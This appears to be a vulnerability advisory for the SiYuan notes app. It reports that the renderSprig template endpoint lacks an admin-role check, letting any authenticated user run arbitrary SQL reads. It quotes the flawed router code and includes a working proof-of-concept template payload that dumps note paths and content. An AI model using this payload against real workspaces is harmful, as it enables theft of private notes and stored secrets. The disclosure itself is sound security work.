Summary
POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.
Details
File: kernel/api/router.go
Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:
// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
model.CheckAuth, renderSprig)
// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
return
}Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.

-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'Impact
Any authenticated user (API token holder, Publish Service Reader) can:
- Dump all note content and document hierarchy from the workspace
- Exfiltrate tags, custom attributes, block IDs, and timestamps
- Search notes for stored passwords, API keys, or personal data
- Enumerate all notebooks and their structure
This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.
